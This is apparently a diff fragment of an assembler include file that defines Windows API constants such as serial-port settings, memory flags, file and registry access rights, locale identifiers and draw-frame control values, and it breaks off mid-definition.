+%define BAUD_9600 800h +%define BAUD_14400 1000h +%define BAUD_19200 2000h +%define BAUD_38400 4000h +%define BAUD_56K 8000h +%define BAUD_128K 10000h +%define BAUD_115200 20000h +%define BAUD_57600 40000h +%define BAUD_USER 10000000h +%define DATABITS_5 1h +%define DATABITS_6 2h +%define DATABITS_7 4h +%define DATABITS_8 8h +%define DATABITS_16 10h +%define DATABITS_16X 20h +%define STOPBITS_10 1h +%define STOPBITS_15 2h +%define STOPBITS_20 4h +%define PARITY_NONE 100h +%define PARITY_ODD 200h +%define PARITY_EVEN 400h +%define PARITY_MARK 800h +%define PARITY_SPACE 1000h +%define DTR_CONTROL_DISABLE 0h +%define DTR_CONTROL_ENABLE 1h +%define DTR_CONTROL_HANDSHAKE 2h +%define RTS_CONTROL_DISABLE 0h +%define RTS_CONTROL_ENABLE 1h +%define RTS_CONTROL_HANDSHAKE 2h +%define RTS_CONTROL_TOGGLE 3h +%define GMEM_FIXED 0h +%define GMEM_MOVEABLE 2h +%define GMEM_NOCOMPACT 10h +%define GMEM_NODISCARD 20h +%define GMEM_ZEROINIT 40h +%define GMEM_MODIFY 80h +%define GMEM_DISCARDABLE 100h +%define GMEM_NOT_BANKED 1000h +%define GMEM_SHARE 2000h +%define GMEM_DDESHARE 2000h +%define GMEM_NOTIFY 4000h +%define GMEM_LOWER GMEM_NOT_BANKED +%define GMEM_VALID_FLAGS 7F72h +%define GMEM_INVALID_HANDLE 8000h +%define GMEM_DISCARDED 4000h +%define GMEM_LOCKCOUNT 0FFh +%define GHND GMEM_MOVEABLE|GMEM_ZEROINIT +%define GPTR GMEM_FIXED|GMEM_ZEROINIT +%define LMEM_FIXED 0h +%define LMEM_MOVEABLE 2h +%define LMEM_NOCOMPACT 10h +%define LMEM_NODISCARD 20h +%define LMEM_ZEROINIT 40h +%define LMEM_MODIFY 80h +%define LMEM_DISCARDABLE 0F00h +%define LMEM_VALID_FLAGS 0F72h +%define LMEM_INVALID_HANDLE 8000h +%define LHND LMEM_MOVEABLE+LMEM_ZEROINIT +%define LPTR LMEM_FIXED+LMEM_ZEROINIT +%define NONZEROLHND LMEM_MOVEABLE +%define NONZEROLPTR LMEM_FIXED +%define LMEM_DISCARDED 4000h +%define LMEM_LOCKCOUNT 0FFh +%define DEBUG_PROCESS 1h +%define DEBUG_ONLY_THIS_PROCESS 2h +%define CREATE_SUSPENDED 4h +%define DETACHED_PROCESS 8h +%define CREATE_NEW_CONSOLE 10h +%define NORMAL_PRIORITY_CLASS 20h +%define IDLE_PRIORITY_CLASS 40h +%define HIGH_PRIORITY_CLASS 80h +%define REALTIME_PRIORITY_CLASS 100h +%define CREATE_NEW_PROCESS_GROUP 200h +%define CREATE_NO_WINDOW 8000000h +%define PROFILE_USER 10000000h +%define PROFILE_KERNEL 20000000h +%define PROFILE_SERVER 40000000h +%define MAXLONG 7FFFFFFFh +%define THREAD_BASE_PRIORITY_MIN -2 +%define THREAD_BASE_PRIORITY_MAX 2 +%define THREAD_BASE_PRIORITY_LOWRT 15 +%define THREAD_BASE_PRIORITY_IDLE -15 +%define THREAD_PRIORITY_LOWEST THREAD_BASE_PRIORITY_MIN +%define THREAD_PRIORITY_BELOW_NORMAL THREAD_PRIORITY_LOWEST+1 +%define THREAD_PRIORITY_NORMAL 0 +%define THREAD_PRIORITY_HIGHEST THREAD_BASE_PRIORITY_MAX +%define THREAD_PRIORITY_ABOVE_NORMAL THREAD_PRIORITY_HIGHEST-1 +%define THREAD_PRIORITY_ERROR_RETURN MAXLONG +%define THREAD_PRIORITY_TIME_CRITICAL THREAD_BASE_PRIORITY_LOWRT +%define THREAD_PRIORITY_IDLE THREAD_BASE_PRIORITY_IDLE +%define APPLICATION_ERROR_MASK 20000000h +%define ERROR_SEVERITY_SUCCESS 0h +%define ERROR_SEVERITY_INFORMATIONAL 40000000h +%define ERROR_SEVERITY_WARNING 80000000h +%define ERROR_SEVERITY_ERROR 0C0000000h +%define MINCHAR 80h +%define MAXCHAR 7Fh +%define MINSHORT 8000h +%define MAXSHORT 7FFFh +%define MINLONG 80000000h +%define MAXBYTE 0FFh +%define MAXWORD 0FFFFh +%define MAXDWORD 0FFFFFFFFh +%define LANG_NEUTRAL 0h +%define LANG_BULGARIAN 2h +%define LANG_CHINESE 4h +%define LANG_CROATIAN 1Ah +%define LANG_CZECH 5h +%define LANG_DANISH 6h +%define LANG_DUTCH 13h +%define LANG_ENGLISH 9h +%define LANG_FINNISH 0Bh +%define LANG_FRENCH 0Ch +%define LANG_GERMAN 7h +%define LANG_GREEK 8h +%define LANG_HUNGARIAN 0Eh +%define LANG_ICELANDIC 0Fh +%define LANG_ITALIAN 10h +%define LANG_JAPANESE 11h +%define LANG_KOREAN 12h +%define LANG_NORWEGIAN 14h +%define LANG_POLISH 15h +%define LANG_PORTUGUESE 16h +%define LANG_ROMANIAN 18h +%define LANG_RUSSIAN 19h +%define LANG_SLOVAK 1Bh +%define LANG_SLOVENIAN 24h +%define LANG_SPANISH 0Ah +%define LANG_SWEDISH 1Dh +%define LANG_TURKISH 1Fh +%define SUBLANG_NEUTRAL 0h +%define SUBLANG_DEFAULT 1h +%define SUBLANG_SYS_DEFAULT 2h +%define SUBLANG_CHINESE_TRADITIONAL 1h +%define SUBLANG_CHINESE_SIMPLIFIED 2h +%define SUBLANG_CHINESE_HONGKONG 3h +%define SUBLANG_CHINESE_SINGAPORE 4h +%define SUBLANG_DUTCH 1h +%define SUBLANG_DUTCH_BELGIAN 2h +%define SUBLANG_ENGLISH_US 1h +%define SUBLANG_ENGLISH_UK 2h +%define SUBLANG_ENGLISH_AUS 3h +%define SUBLANG_ENGLISH_CAN 4h +%define SUBLANG_ENGLISH_NZ 5h +%define SUBLANG_ENGLISH_EIRE 6h +%define SUBLANG_FRENCH 1h +%define SUBLANG_FRENCH_BELGIAN 2h +%define SUBLANG_FRENCH_CANADIAN 3h +%define SUBLANG_FRENCH_SWISS 4h +%define SUBLANG_GERMAN 1h +%define SUBLANG_GERMAN_SWISS 2h +%define SUBLANG_GERMAN_AUSTRIAN 3h +%define SUBLANG_ITALIAN 1h +%define SUBLANG_ITALIAN_SWISS 2h +%define SUBLANG_NORWEGIAN_BOKMAL 1h +%define SUBLANG_NORWEGIAN_NYNORSK 2h +%define SUBLANG_PORTUGUESE 2h +%define SUBLANG_PORTUGUESE_BRAZILIAN 1h +%define SUBLANG_SPANISH 1h +%define SUBLANG_SPANISH_MEXICAN 2h +%define SUBLANG_SPANISH_MODERN 3h +%define SORT_DEFAULT 0h +%define SORT_JAPANESE_XJIS 0h +%define SORT_JAPANESE_UNICODE 1h +%define SORT_CHINESE_BIG5 0h +%define SORT_CHINESE_UNICODE 1h +%define SORT_KOREAN_KSC 0h +%define SORT_KOREAN_UNICODE 1h +%define FILE_READ_DATA 1h +%define FILE_LIST_DIRECTORY 1h +%define FILE_WRITE_DATA 2h +%define FILE_ADD_FILE 2h +%define FILE_APPEND_DATA 4h +%define FILE_ADD_SUBDIRECTORY 4h +%define FILE_CREATE_PIPE_INSTANCE 4h +%define FILE_READ_EA 8h +%define FILE_READ_PROPERTIES FILE_READ_EA +%define FILE_WRITE_EA 10h +%define FILE_WRITE_PROPERTIES FILE_WRITE_EA +%define FILE_EXECUTE 20h +%define FILE_TRAVERSE 20h +%define FILE_DELETE_CHILD 40h +%define FILE_READ_ATTRIBUTES 80h +%define FILE_WRITE_ATTRIBUTES 100h +%define FILE_ALL_ACCESS STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|1FFh +%define FILE_GENERIC_READ STANDARD_RIGHTS_READ|FILE_READ_DATA|FILE_READ_ATTRIBUTES|FILE_READ_EA|SYNCHRONIZE +%define FILE_GENERIC_WRITE STANDARD_RIGHTS_WRITE|FILE_WRITE_DATA|FILE_WRITE_ATTRIBUTES|FILE_WRITE_EA|FILE_APPEND_DATA|SYNCHRONIZE +%define FILE_GENERIC_EXECUTE STANDARD_RIGHTS_EXECUTE|FILE_READ_ATTRIBUTES|FILE_EXECUTE|SYNCHRONIZE +%define FILE_SHARE_READ 1h +%define FILE_SHARE_WRITE 2h +%define FILE_ATTRIBUTE_READONLY 1h +%define FILE_ATTRIBUTE_HIDDEN 2h +%define FILE_ATTRIBUTE_SYSTEM 4h +%define FILE_ATTRIBUTE_DIRECTORY 10h +%define FILE_ATTRIBUTE_ARCHIVE 20h +%define FILE_ATTRIBUTE_NORMAL 80h +%define FILE_ATTRIBUTE_TEMPORARY 100h +%define FILE_ATTRIBUTE_COMPRESSED 800h +%define FILE_NOTIFY_CHANGE_FILE_NAME 1h +%define FILE_NOTIFY_CHANGE_DIR_NAME 2h +%define FILE_NOTIFY_CHANGE_ATTRIBUTES 4h +%define FILE_NOTIFY_CHANGE_SIZE 8h +%define FILE_NOTIFY_CHANGE_LAST_WRITE 10h +%define FILE_NOTIFY_CHANGE_SECURITY 100h +%define MAILSLOT_NO_MESSAGE -1 +%define MAILSLOT_WAIT_FOREVER -1 +%define FILE_CASE_SENSITIVE_SEARCH 1h +%define FILE_CASE_PRESERVED_NAMES 2h +%define FILE_UNICODE_ON_DISK 4h +%define FILE_PERSISTENT_ACLS 8h +%define FILE_FILE_COMPRESSION 10h +%define FILE_VOLUME_IS_COMPRESSED 8000h +%define IO_COMPLETION_MODIFY_STATE 2h +%define IO_COMPLETION_ALL_ACCESS STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|3h +%define DUPLICATE_CLOSE_SOURCE 1h +%define DUPLICATE_SAME_ACCESS 2h +%define ACCESS_SYSTEM_SECURITY 1000000h +%define MAXIMUM_ALLOWED 2000000h +%define GENERIC_READ 80000000h +%define GENERIC_WRITE 40000000h +%define GENERIC_EXECUTE 20000000h +%define GENERIC_ALL 10000000h +%define ACL_REVISION 2 +%define ACL_REVISION1 1 +%define ACL_REVISION2 2 +%define ACCESS_ALLOWED_ACE_TYPE 0h +%define ACCESS_DENIED_ACE_TYPE 1h +%define SYSTEM_AUDIT_ACE_TYPE 2h +%define SYSTEM_ALARM_ACE_TYPE 3h +%define HELPINFO_WINDOW 1 +%define HELPINFO_MENUITEM 2 +%define OBJECT_INHERIT_ACE 1h +%define CONTAINER_INHERIT_ACE 2h +%define NO_PROPAGATE_INHERIT_ACE 4h +%define INHERIT_ONLY_ACE 8h +%define VALID_INHERIT_FLAGS 0Fh +%define SUCCESSFUL_ACCESS_ACE_FLAG 40h +%define FAILED_ACCESS_ACE_FLAG 80h +%define AclRevisionInformation 1 +%define AclSizeInformation 2 +%define SECURITY_DESCRIPTOR_REVISION 1 +%define SECURITY_DESCRIPTOR_REVISION1 1 +%define SECURITY_DESCRIPTOR_MIN_LENGTH 20 +%define SE_OWNER_DEFAULTED 1h +%define SE_GROUP_DEFAULTED 2h +%define SE_DACL_PRESENT 4h +%define SE_DACL_DEFAULTED 8h +%define SE_SACL_PRESENT 10h +%define SE_SACL_DEFAULTED 20h +%define SE_SELF_RELATIVE 8000h +%define SE_PRIVILEGE_ENABLED_BY_DEFAULT 1h +%define SE_PRIVILEGE_ENABLED 2h +%define SE_PRIVILEGE_USED_FOR_ACCESS 80000000h +%define PRIVILEGE_SET_ALL_NECESSARY 1 +%define SecurityAnonymous 1 +%define SecurityIdentification 2 +%define REG_OPTION_RESERVED 0 +%define REG_OPTION_NON_VOLATILE 0 +%define REG_OPTION_VOLATILE 1 +%define REG_OPTION_CREATE_LINK 2 +%define REG_OPTION_BACKUP_RESTORE 4 +%define REG_NONE 0 +%define REG_SZ 1 +%define REG_EXPAND_SZ 2 +%define REG_BINARY 3 +%define REG_DWORD 4 +%define REG_DWORD_LITTLE_ENDIAN 4 +%define REG_DWORD_BIG_ENDIAN 5 +%define REG_LINK 6 +%define REG_MULTI_SZ 7 +%define REG_RESOURCE_LIST 8 +%define REG_FULL_RESOURCE_DESCRIPTOR 9 +%define REG_RESOURCE_REQUIREMENTS_LIST 10 +%define REG_CREATED_NEW_KEY 1h +%define REG_OPENED_EXISTING_KEY 2h +%define REG_WHOLE_HIVE_VOLATILE 1h +%define REG_REFRESH_HIVE 2h +%define REG_NOTIFY_CHANGE_NAME 1h +%define REG_NOTIFY_CHANGE_ATTRIBUTES 2h +%define REG_NOTIFY_CHANGE_LAST_SET 4h +%define REG_NOTIFY_CHANGE_SECURITY 8h +%define REG_LEGAL_CHANGE_FILTER REG_NOTIFY_CHANGE_NAME|REG_NOTIFY_CHANGE_ATTRIBUTES|REG_NOTIFY_CHANGE_LAST_SET|REG_NOTIFY_CHANGE_SECURITY +%define REG_LEGAL_OPTION REG_OPTION_RESERVED|REG_OPTION_NON_VOLATILE|REG_OPTION_VOLATILE|REG_OPTION_CREATE_LINK|REG_OPTION_BACKUP_RESTORE +%define KEY_QUERY_VALUE 1h +%define KEY_SET_VALUE 2h +%define KEY_CREATE_SUB_KEY 4h +%define KEY_ENUMERATE_SUB_KEYS 8h +%define KEY_NOTIFY 10h +%define KEY_CREATE_LINK 20h +%define KEY_READ STANDARD_RIGHTS_READ|KEY_QUERY_VALUE|KEY_ENUMERATE_SUB_KEYS|KEY_NOTIFY&(-1-SYNCHRONIZE) +%define KEY_WRITE STANDARD_RIGHTS_WRITE|KEY_SET_VALUE|KEY_CREATE_SUB_KEY|SYNCHRONIZE&(-1-SYNCHRONIZE) +%define KEY_EXECUTE KEY_READ +%define KEY_ALL_ACCESS STANDARD_RIGHTS_ALL|KEY_QUERY_VALUE|KEY_SET_VALUE|KEY_CREATE_SUB_KEY|KEY_ENUMERATE_SUB_KEYS|KEY_NOTIFY|KEY_CREATE_LINK&(-1-SYNCHRONIZE) +%define EXCEPTION_DEBUG_EVENT 1 +%define CREATE_THREAD_DEBUG_EVENT 2 +%define CREATE_PROCESS_DEBUG_EVENT 3 +%define EXIT_THREAD_DEBUG_EVENT 4 +%define EXIT_PROCESS_DEBUG_EVENT 5 +%define LOAD_DLL_DEBUG_EVENT 6 +%define UNLOAD_DLL_DEBUG_EVENT 7 +%define OUTPUT_DEBUG_STRING_EVENT 8 +%define RIP_EVENT 9 +%define EXCEPTION_MAXIMUM_PARAMETERS 15 +%define DRIVE_REMOVABLE 2 +%define DRIVE_FIXED 3 +%define DRIVE_REMOTE 4 +%define DRIVE_CDROM 5 +%define DRIVE_RAMDISK 6 +%define FILE_TYPE_UNKNOWN 0h +%define FILE_TYPE_DISK 1h +%define FILE_TYPE_CHAR 2h +%define FILE_TYPE_PIPE 3h +%define FILE_TYPE_REMOTE 8000h +%define STD_INPUT_HANDLE -10 +%define STD_OUTPUT_HANDLE -11 +%define STD_ERROR_HANDLE -12 +%define NOPARITY 0 +%define ODDPARITY 1 +%define EVENPARITY 2 +%define MARKPARITY 3 +%define SPACEPARITY 4 +%define ONESTOPBIT 0 +%define ONE5STOPBITS 1 +%define TWOSTOPBITS 2 +%define IGNORE 0 +%define INFINITE 0FFFFh +%define CBR_110 110 +%define CBR_300 300 +%define CBR_600 600 +%define CBR_1200 1200 +%define CBR_2400 2400 +%define CBR_4800 4800 +%define CBR_9600 9600 +%define CBR_14400 14400 +%define CBR_19200 19200 +%define CBR_38400 38400 +%define CBR_56000 56000 +%define CBR_57600 57600 +%define CBR_115200 115200 +%define CBR_128000 128000 +%define CBR_256000 256000 +%define CE_RXOVER 1h +%define CE_OVERRUN 2h +%define CE_RXPARITY 4h +%define CE_FRAME 8h +%define CE_BREAK 10h +%define CE_TXFULL 100h +%define CE_PTO 200h +%define CE_IOE 400h +%define CE_DNS 800h +%define CE_OOP 1000h +%define CE_MODE 8000h +%define IE_BADID -1 +%define IE_OPEN -2 +%define IE_NOPEN -3 +%define IE_MEMORY -4 +%define IE_DEFAULT -5 +%define IE_HARDWARE -10 +%define IE_BYTESIZE -11 +%define IE_BAUDRATE -12 +%define EV_RXCHAR 1h +%define EV_RXFLAG 2h +%define EV_TXEMPTY 4h +%define EV_CTS 8h +%define EV_DSR 10h +%define EV_RLSD 20h +%define EV_BREAK 40h +%define EV_ERR 80h +%define EV_RING 100h +%define EV_PERR 200h +%define EV_RX80FULL 400h +%define EV_EVENT1 800h +%define EV_EVENT2 1000h +%define SETXOFF 1 +%define SETXON 2 +%define SETRTS 3 +%define CLRRTS 4 +%define SETDTR 5 +%define CLRDTR 6 +%define RESETDEV 7 +%define SETBREAK 8 +%define CLRBREAK 9 +%define PURGE_TXABORT 1h +%define PURGE_RXABORT 2h +%define PURGE_TXCLEAR 4h +%define PURGE_RXCLEAR 8h +%define LPTx 80h +%define MS_CTS_ON 10h +%define MS_DSR_ON 20h +%define MS_RING_ON 40h +%define MS_RLSD_ON 80h +%define S_QUEUEEMPTY 0 +%define S_THRESHOLD 1 +%define S_ALLTHRESHOLD 2 +%define S_NORMAL 0 +%define S_LEGATO 1 +%define S_STACCATO 2 +%define S_PERIOD512 0 +%define S_PERIOD1024 1 +%define S_PERIOD2048 2 +%define S_PERIODVOICE 3 +%define S_WHITE512 4 +%define S_WHITE1024 5 +%define S_WHITE2048 6 +%define S_WHITEVOICE 7 +%define S_SERDVNA -1 +%define S_SEROFM -2 +%define S_SERMACT -3 +%define S_SERQFUL -4 +%define S_SERBDNT -5 +%define S_SERDLN -6 +%define S_SERDCC -7 +%define S_SERDTP -8 +%define S_SERDVL -9 +%define S_SERDMD -10 +%define S_SERDSH -11 +%define S_SERDPT -12 +%define S_SERDFQ -13 +%define S_SERDDR -14 +%define S_SERDSR -15 +%define S_SERDST -16 +%define NMPWAIT_WAIT_FOREVER 0FFFFh +%define NMPWAIT_NOWAIT 1h +%define NMPWAIT_USE_DEFAULT_WAIT 0h +%define FS_CASE_IS_PRESERVED FILE_CASE_PRESERVED_NAMES +%define FS_CASE_SENSITIVE FILE_CASE_SENSITIVE_SEARCH +%define FS_UNICODE_STORED_ON_DISK FILE_UNICODE_ON_DISK +%define FS_PERSISTENT_ACLS FILE_PERSISTENT_ACLS +%define SECTION_QUERY 1h +%define SECTION_MAP_WRITE 2h +%define SECTION_MAP_READ 4h +%define SECTION_MAP_EXECUTE 8h +%define SECTION_EXTEND_SIZE 10h +%define SECTION_ALL_ACCESS STANDARD_RIGHTS_REQUIRED|SECTION_QUERY|SECTION_MAP_WRITE|SECTION_MAP_READ|SECTION_MAP_EXECUTE|SECTION_EXTEND_SIZE +%define FILE_MAP_COPY SECTION_QUERY +%define FILE_MAP_WRITE SECTION_MAP_WRITE +%define FILE_MAP_READ SECTION_MAP_READ +%define FILE_MAP_ALL_ACCESS SECTION_ALL_ACCESS +%define OF_READ 0h +%define OF_WRITE 1h +%define OF_READWRITE 2h +%define OF_SHARE_COMPAT 0h +%define OF_SHARE_EXCLUSIVE 10h +%define OF_SHARE_DENY_WRITE 20h +%define OF_SHARE_DENY_READ 30h +%define OF_SHARE_DENY_NONE 40h +%define OF_PARSE 100h +%define OF_DELETE 200h +%define OF_VERIFY 400h +%define OF_CANCEL 800h +%define OF_CREATE 1000h +%define OF_PROMPT 2000h +%define OF_EXIST 4000h +%define OF_REOPEN 8000h +%define OFS_MAXPATHNAME 128 +%define DONT_RESOLVE_DLL_REFERENCES 1h +%define TC_NORMAL 0 +%define TC_HARDERR 1 +%define TC_GP_TRAP 2 +%define TC_SIGNAL 3 +%define MAX_LEADBYTES 12 +%define MB_PRECOMPOSED 1h +%define MB_COMPOSITE 2h +%define MB_USEGLYPHCHARS 4h +%define WC_DEFAULTCHECK 100h +%define WC_COMPOSITECHECK 200h +%define WC_DISCARDNS 10h +%define WC_SEPCHARS 20h +%define WC_DEFAULTCHAR 40h +%define CT_CTYPE1 1h +%define CT_CTYPE2 2h +%define CT_CTYPE3 4h +%define C1_UPPER 1h +%define C1_LOWER 2h +%define C1_DIGIT 4h +%define C1_SPACE 8h +%define C1_PUNCT 10h +%define C1_CNTRL 20h +%define C1_BLANK 40h +%define C1_XDIGIT 80h +%define C1_ALPHA 100h +%define C2_LEFTTORIGHT 1h +%define C2_RIGHTTOLEFT 2h +%define C2_EUROPENUMBER 3h +%define C2_EUROPESEPARATOR 4h +%define C2_EUROPETERMINATOR 5h +%define C2_ARABICNUMBER 6h +%define C2_COMMONSEPARATOR 7h +%define C2_BLOCKSEPARATOR 8h +%define C2_SEGMENTSEPARATOR 9h +%define C2_WHITESPACE 0Ah +%define C2_OTHERNEUTRAL 0Bh +%define C2_NOTAPPLICABLE 0h +%define C3_NONSPACING 1h +%define C3_DIACRITIC 2h +%define C3_VOWELMARK 4h +%define C3_SYMBOL 8h +%define C3_NOTAPPLICABLE 0h +%define NORM_IGNORECASE 1h +%define NORM_IGNORENONSPACE 2h +%define NORM_IGNORESYMBOLS 4h +%define MAP_FOLDCZONE 10h +%define MAP_PRECOMPOSED 20h +%define MAP_COMPOSITE 40h +%define MAP_FOLDDIGITS 80h +%define LCMAP_LOWERCASE 100h +%define LCMAP_UPPERCASE 200h +%define LCMAP_SORTKEY 400h +%define LCMAP_BYTEREV 800h +%define SORT_STRINGSORT 1000h +%define CP_ACP 0 +%define CP_OEMCP 1 +%define CTRY_DEFAULT 0 +%define CTRY_AUSTRALIA 61 +%define CTRY_AUSTRIA 43 +%define CTRY_BELGIUM 32 +%define CTRY_BRAZIL 55 +%define CTRY_CANADA 2 +%define CTRY_DENMARK 45 +%define CTRY_FINLAND 358 +%define CTRY_FRANCE 33 +%define CTRY_GERMANY 49 +%define CTRY_ICELAND 354 +%define CTRY_IRELAND 353 +%define CTRY_ITALY 39 +%define CTRY_JAPAN 81 +%define CTRY_MEXICO 52 +%define CTRY_NETHERLANDS 31 +%define CTRY_NEW_ZEALAND 64 +%define CTRY_NORWAY 47 +%define CTRY_PORTUGAL 351 +%define CTRY_PRCHINA 86 +%define CTRY_SOUTH_KOREA 82 +%define CTRY_SPAIN 34 +%define CTRY_SWEDEN 46 +%define CTRY_SWITZERLAND 41 +%define CTRY_TAIWAN 886 +%define CTRY_UNITED_KINGDOM 44 +%define CTRY_UNITED_STATES 1 +%define LOCALE_NOUSEROVERRIDE 80000000h +%define LOCALE_USER_DEFAULT 0000h +%define LOCALE_ILANGUAGE 1h +%define LOCALE_SLANGUAGE 2h +%define LOCALE_SENGLANGUAGE 1001h +%define LOCALE_SABBREVLANGNAME 3h +%define LOCALE_SNATIVELANGNAME 4h +%define LOCALE_ICOUNTRY 5h +%define LOCALE_SCOUNTRY 6h +%define LOCALE_SENGCOUNTRY 1002h +%define LOCALE_SABBREVCTRYNAME 7h +%define LOCALE_SNATIVECTRYNAME 8h +%define LOCALE_IDEFAULTLANGUAGE 9h +%define LOCALE_IDEFAULTCOUNTRY 0Ah +%define LOCALE_IDEFAULTCODEPAGE 0Bh +%define LOCALE_SLIST 0Ch +%define LOCALE_IMEASURE 0Dh +%define LOCALE_SDECIMAL 0Eh +%define LOCALE_STHOUSAND 0Fh +%define LOCALE_SGROUPING 10h +%define LOCALE_IDIGITS 11h +%define LOCALE_ILZERO 12h +%define LOCALE_SNATIVEDIGITS 13h +%define LOCALE_SCURRENCY 14h +%define LOCALE_SINTLSYMBOL 15h +%define LOCALE_SMONDECIMALSEP 16h +%define LOCALE_SMONTHOUSANDSEP 17h +%define LOCALE_SMONGROUPING 18h +%define LOCALE_ICURRDIGITS 19h +%define LOCALE_IINTLCURRDIGITS 1Ah +%define LOCALE_ICURRENCY 1Bh +%define LOCALE_INEGCURR 1Ch +%define LOCALE_SDATE 1Dh +%define LOCALE_STIME 1Eh +%define LOCALE_SSHORTDATE 1Fh +%define LOCALE_SLONGDATE 20h +%define LOCALE_STIMEFORMAT 1003h +%define LOCALE_IDATE 21h +%define LOCALE_ILDATE 22h +%define LOCALE_ITIME 23h +%define LOCALE_ICENTURY 24h +%define LOCALE_ITLZERO 25h +%define LOCALE_IDAYLZERO 26h +%define LOCALE_IMONLZERO 27h +%define LOCALE_S1159 28h +%define LOCALE_S2359 29h +%define LOCALE_SDAYNAME1 2Ah +%define LOCALE_SDAYNAME2 2Bh +%define LOCALE_SDAYNAME3 2Ch +%define LOCALE_SDAYNAME4 2Dh +%define LOCALE_SDAYNAME5 2Eh +%define LOCALE_SDAYNAME6 2Fh +%define LOCALE_SDAYNAME7 30h +%define LOCALE_SABBREVDAYNAME1 31h +%define LOCALE_SABBREVDAYNAME2 32h +%define LOCALE_SABBREVDAYNAME3 33h +%define LOCALE_SABBREVDAYNAME4 34h +%define LOCALE_SABBREVDAYNAME5 35h +%define LOCALE_SABBREVDAYNAME6 36h +%define LOCALE_SABBREVDAYNAME7 37h +%define LOCALE_SMONTHNAME1 38h +%define LOCALE_SMONTHNAME2 39h +%define LOCALE_SMONTHNAME3 3Ah +%define LOCALE_SMONTHNAME4 3Bh +%define LOCALE_SMONTHNAME5 3Ch +%define LOCALE_SMONTHNAME6 3Dh +%define LOCALE_SMONTHNAME7 3Eh +%define LOCALE_SMONTHNAME8 3Fh +%define LOCALE_SMONTHNAME9 40h +%define LOCALE_SMONTHNAME10 41h +%define LOCALE_SMONTHNAME11 42h +%define LOCALE_SMONTHNAME12 43h +%define LOCALE_SABBREVMONTHNAME1 44h +%define LOCALE_SABBREVMONTHNAME2 45h +%define LOCALE_SABBREVMONTHNAME3 46h +%define LOCALE_SABBREVMONTHNAME4 47h +%define LOCALE_SABBREVMONTHNAME5 48h +%define LOCALE_SABBREVMONTHNAME6 49h +%define LOCALE_SABBREVMONTHNAME7 4Ah +%define LOCALE_SABBREVMONTHNAME8 4Bh +%define LOCALE_SABBREVMONTHNAME9 4Ch +%define LOCALE_SABBREVMONTHNAME10 4Dh +%define LOCALE_SABBREVMONTHNAME11 4Eh +%define LOCALE_SABBREVMONTHNAME12 4Fh +%define LOCALE_SABBREVMONTHNAME13 100Fh +%define LOCALE_SPOSITIVESIGN 50h +%define LOCALE_SNEGATIVESIGN 51h +%define LOCALE_IPOSSIGNPOSN 52h +%define LOCALE_INEGSIGNPOSN 53h +%define LOCALE_IPOSSYMPRECEDES 54h +%define LOCALE_IPOSSEPBYSPACE 55h +%define LOCALE_INEGSYMPRECEDES 56h +%define LOCALE_INEGSEPBYSPACE 57h +%define TIME_NOMINUTESORSECONDS 1h +%define TIME_NOSECONDS 2h +%define TIME_NOTIMEMARKER 4h +%define TIME_FORCE24HOURFORMAT 8h +%define DATE_SHORTDATE 1h +%define DATE_LONGDATE 2h +%define TF_FORCEDRIVE 80h +%define LOCKFILE_FAIL_IMMEDIATELY 1h +%define LOCKFILE_EXCLUSIVE_LOCK 2h +%define LNOTIFY_OUTOFMEM 0 +%define LNOTIFY_MOVE 1 +%define LNOTIFY_DISCARD 2 +%define SLE_ERROR 1h +%define SLE_MINORERROR 2h +%define SLE_WARNING 3h +%define SEM_FAILCRITICALERRORS 1h +%define SEM_NOGPFAULTERRORBOX 2h +%define SEM_NOOPENFILEERRORBOX 8000h +%define RT_CURSOR 1 +%define RT_BITMAP 2 +%define RT_ICON 3 +%define RT_MENU 4 +%define RT_DIALOG 5 +%define RT_STRING 6 +%define RT_FONTDIR 7 +%define RT_FONT 8 +%define RT_ACCELERATOR 9 +%define RT_RCDATA 10 +%define DFC_CAPTION 1 +%define DFC_MENU 2 +%define DFC_SCROLL 3 +%define DFC_BUTTON 4 +%define DFCS_CAPTIONCLOSE 0000h +%define DFCS_CAPTIONMIN 0001h +%define DFCS_CAPTIONMAX 0002h +%define DFCS_CAPTIONRESTORE 0003h +%define DFCS_CAPTIONHELP 0004h +%define DFCS_MENUARROW 0000h +%define DFCS_MENUCHECK 0001h +%define DFCS_MENUBULLET 0002h +%define DFCS_MENUARROWRIGHT 0004h +%define DFCS_SCROLLUP 0000h +%define DFCS_SCROLLDOWN 0001h +%define DFCS_SCROLLLEFT 0002h +%define DFCS_SCROLLRIGHT 0003h +%define DFCS_SCROLLCOMBOBOX 0005h +%define DFCS_SCROLLSIZEGRIP 0008h +%define DFCS_SCROLLSIZEGRIPRIGHT 0010h +%define DFCS_BUTTONCHECK 0000h +%define DFCS_BUTTONRADIOIMAGE 0001h +%define DFCS_BUTTONRADIOMASK 0002h +%define DFCS_BUTTONRADIO 0004h +%define DFCS_BUTTON3STATE 0008h +%define DFCS_BUTTONPUSH 0010h +%define DFCS_INACTIVE 0100h +%define DFCS_PUSHED 0200h +%define DFCS_CHECKED 0400h +%define DFCS_ADJUSTRECT 2000h +%define DFCS_FLAT 4000h +%define DFCS_MONO 8000h +%define DDD_RAW_TARGET_PATH 1h +%define DDD_REMOVE_DEFINITION 2h +%define DDD_EXACT_MATCH_ON_REMOVE 4h +%define MAX_PATH 32 +%define MOVEFILE_REPLACE_EXISTING 1h +%define MOVEFILE_COPY_ALLOWED 2h +%define MOVEFILE_DELAY_UNTIL_REBOOT 4h +%define TokenUser 1 +%define TokenGroups 2 +%define TokenPrivileges 3 +%define TokenOwner 4 +%define TokenPrimaryGroup 5 +%define TokenDefaultDacl 6 +%define TokenSource 7 +%define TokenType 8 +%define TokenImpersonationLevel 9 +%define TokenStatistics 10 +%define GET_TAPE_MEDIA_INFORMATION 0 +%define GET_TAPE_DRIVE_INFORMATION 1 +%define SET_TAPE_MEDIA_INFORMATION 0 +%define SET_TAPE_DRIVE_INFORMATION 1 +%define FORMAT_MESSAGE_ALLOCATE_BUFFER 100h +%define FORMAT_MESSAGE_IGNORE_INSERTS 200h +%define FORMAT_MESSAGE_FROM_STRING 400h +%define FORMAT_MESSAGE_FROM_HMODULE 800h +%define FORMAT_MESSAGE_FROM_SYSTEM 1000h +%define FORMAT_MESSAGE_ARGUMENT_ARRAY 2000h +%define FORMAT_MESSAGE_MAX_WIDTH_MASK 0FFh +%define TLS_OUT_OF_INDEXES 0FFFFh +%define BACKUP_DATA 1h +%define BACKUP_EA_DATA 2h +%define BACKUP_SECURITY_DATA 3h +%define BACKUP_ALTERNATE_DATA 4h +%define BACKUP_LINK 5h +%define 